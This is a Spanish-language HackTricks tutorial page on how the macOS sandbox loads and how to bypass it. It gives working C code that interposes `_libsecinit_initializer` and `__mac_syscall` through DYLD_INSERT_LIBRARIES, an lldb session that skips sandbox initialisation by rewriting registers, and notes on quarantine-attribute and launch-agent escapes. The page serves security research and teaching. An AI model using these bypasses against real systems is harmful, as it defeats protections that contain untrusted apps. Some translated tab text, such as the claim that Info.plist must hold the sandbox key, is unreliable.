20 KiB
Depuración y Bypass del Sandbox de macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Proceso de carga del Sandbox
En la imagen anterior se puede observar cómo se cargará el sandbox cuando se ejecute una aplicación con el permiso com.apple.security.app-sandbox
.
El compilador vinculará /usr/lib/libSystem.B.dylib
al binario.
Luego, libSystem.B
llamará a otras varias funciones hasta que xpc_pipe_routine
envíe los permisos de la aplicación a securityd
. Securityd verifica si el proceso debe estar en cuarentena dentro del Sandbox, y si es así, se pondrá en cuarentena.
Finalmente, se activará el sandbox con una llamada a __sandbox_ms
que llamará a __mac_syscall
.
Posibles Bypasses
Bypass del atributo de cuarentena
Los archivos creados por procesos en el sandbox se les añade el atributo de cuarentena para evitar que escapen del sandbox. Sin embargo, si logras crear una carpeta .app
sin el atributo de cuarentena dentro de una aplicación en el sandbox, podrías hacer que el binario del paquete de la aplicación apunte a /bin/bash
y agregar algunas variables de entorno en el plist para abusar de open
y ejecutar la nueva aplicación sin sandbox.
Esto es lo que se hizo en CVE-2023-32364.
{% hint style="danger" %}
Por lo tanto, en este momento, si eres capaz de crear una carpeta con un nombre que termine en .app
sin el atributo de cuarentena, puedes escapar del sandbox porque macOS solo verifica el atributo de cuarentena en la carpeta .app
y en el ejecutable principal (y apuntaremos el ejecutable principal a /bin/bash
).
{% endhint %}
Abuso de la funcionalidad de Open
En los últimos ejemplos de bypass del sandbox de Word se puede apreciar cómo se puede abusar de la funcionalidad de la línea de comandos de open
para evadir el sandbox.
Abuso de ubicaciones de inicio automático
Si un proceso en el sandbox puede escribir en un lugar donde más tarde se ejecutará el binario de una aplicación sin sandbox, podrá escapar simplemente colocando allí el binario. Un buen ejemplo de este tipo de ubicaciones son ~/Library/LaunchAgents
o /System/Library/LaunchDaemons
.
Para esto, es posible que incluso necesites 2 pasos: hacer que un proceso con un sandbox más permisivo (file-read*
, file-write*
) ejecute tu código, que en realidad escribirá en un lugar donde se ejecutará sin sandbox.
Consulta esta página sobre ubicaciones de inicio automático:
{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}
Abuso de otros procesos
Si desde el proceso en el sandbox eres capaz de comprometer otros procesos que se ejecutan en sandboxes menos restrictivos (o sin sandbox), podrás escapar a sus sandboxes:
{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Compilación estática y enlace dinámico
Esta investigación descubrió 2 formas de evadir el Sandbox. Debido a que el sandbox se aplica desde el espacio de usuario cuando se carga la biblioteca libSystem. Si un binario pudiera evitar cargarla, nunca se sandboxearía:
- Si el binario se compila completamente de forma estática, podría evitar cargar esa biblioteca.
- Si el binario no necesitara cargar ninguna biblioteca (porque el enlazador también está en libSystem), no necesitaría cargar libSystem.
Shellcodes
Ten en cuenta que incluso los shellcodes en ARM64 deben estar vinculados en libSystem.dylib
:
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
Privilegios
Ten en cuenta que aunque algunas acciones puedan estar permitidas por el sandbox, si una aplicación tiene un privilegio específico, como en:
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Bypass de Interposting
Para obtener más información sobre Interposting, consulta:
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}
Interpost _libsecinit_initializer
para evitar el sandbox
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Interceptar __mac_syscall
para evitar el Sandbox
{% code title="interpose.c" %}
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
{% endcode %}
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Depurar y evadir el Sandbox con lldb
Vamos a compilar una aplicación que debería estar en un Sandbox:
{% tabs %} {% tab title="sand.c" %}
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
{% tab title="entitlements.xml" %}
El archivo entitlements.xml
contiene los permisos y capacidades que se le otorgan a una aplicación en el entorno de sandbox de macOS. Estos permisos determinan qué acciones puede realizar la aplicación y a qué recursos puede acceder.
Aquí hay un ejemplo de cómo se ve el archivo entitlements.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.network.client</key>
<true/>
<key>com.apple.security.files.user-selected.read-write</key>
<true/>
<key>com.apple.security.print</key>
<true/>
</dict>
</plist>
En este ejemplo, la aplicación tiene los siguientes permisos:
com.apple.security.network.client
: Permite a la aplicación realizar solicitudes de red salientes.com.apple.security.files.user-selected.read-write
: Permite a la aplicación leer y escribir en archivos seleccionados por el usuario.com.apple.security.print
: Permite a la aplicación imprimir documentos.
Estos permisos se definen utilizando claves y valores en el archivo entitlements.xml
. Las claves representan los permisos y los valores indican si el permiso está habilitado (true
) o deshabilitado (false
).
Es importante tener en cuenta que modificar el archivo entitlements.xml
puede tener implicaciones de seguridad y puede violar las políticas de sandbox de macOS. Se recomienda tener cuidado al realizar cambios en este archivo y seguir las mejores prácticas de seguridad.
{% endtab %}
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
{% tab title="Info.plist" %}
El archivo Info.plist contiene información de configuración para la aplicación macOS. Es un archivo de formato XML que describe las propiedades y configuraciones de la aplicación. En el contexto de la sandbox de macOS, el archivo Info.plist se utiliza para especificar las restricciones y permisos de la aplicación dentro del entorno de sandbox.
El archivo Info.plist de una aplicación sandbox debe contener una clave llamada "com.apple.security.app-sandbox" con un valor booleano establecido en "true". Esto indica que la aplicación está diseñada para ejecutarse en un entorno de sandbox y seguir las restricciones de seguridad correspondientes.
Además de la clave "com.apple.security.app-sandbox", el archivo Info.plist también puede contener otras claves relacionadas con la configuración de la sandbox, como "com.apple.security.network.client" para permitir o denegar el acceso a la red, "com.apple.security.files.user-selected.read-write" para permitir o denegar el acceso a los archivos seleccionados por el usuario, y muchas más.
Es importante tener en cuenta que el archivo Info.plist solo especifica las restricciones y permisos de la aplicación dentro de la sandbox. No proporciona una protección completa contra todas las vulnerabilidades y ataques posibles. Por lo tanto, es importante implementar otras medidas de seguridad y protección en la aplicación para garantizar una protección adecuada.
Para obtener más información sobre cómo configurar el archivo Info.plist para la sandbox de macOS, consulte la documentación oficial de Apple sobre la seguridad de la sandbox de macOS.
{% endtab %}
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
{% endtab %} {% endtabs %}
Luego compila la aplicación:
{% code overflow="wrap" %}
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
{% endcode %}
{% hint style="danger" %}
La aplicación intentará leer el archivo ~/Desktop/del.txt
, lo cual el Sandbox no permitirá.
Crea un archivo allí, ya que una vez que se haya eludido el Sandbox, podrá leerlo:
echo "Sandbox Bypassed" > ~/Desktop/del.txt
{% endhint %}
Vamos a depurar la aplicación para ver cuándo se carga el Sandbox:
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# Para evitar el salto a la dirección b.lo, primero modifica algunos registros
(lldb) breakpoint delete 1 # Elimina el punto de interrupción
(lldb) register write $pc 0x187659928 # Dirección b.lo
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Proceso 2517 reanudado
¡Bypass de Sandbox realizado!
El proceso 2517 salió con estado = 0 (0x00000000)
{% hint style="warning" %} Incluso si se ha eludido el Sandbox, TCC le preguntará al usuario si desea permitir que el proceso lea archivos desde el escritorio. {% endhint %}
Referencias
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.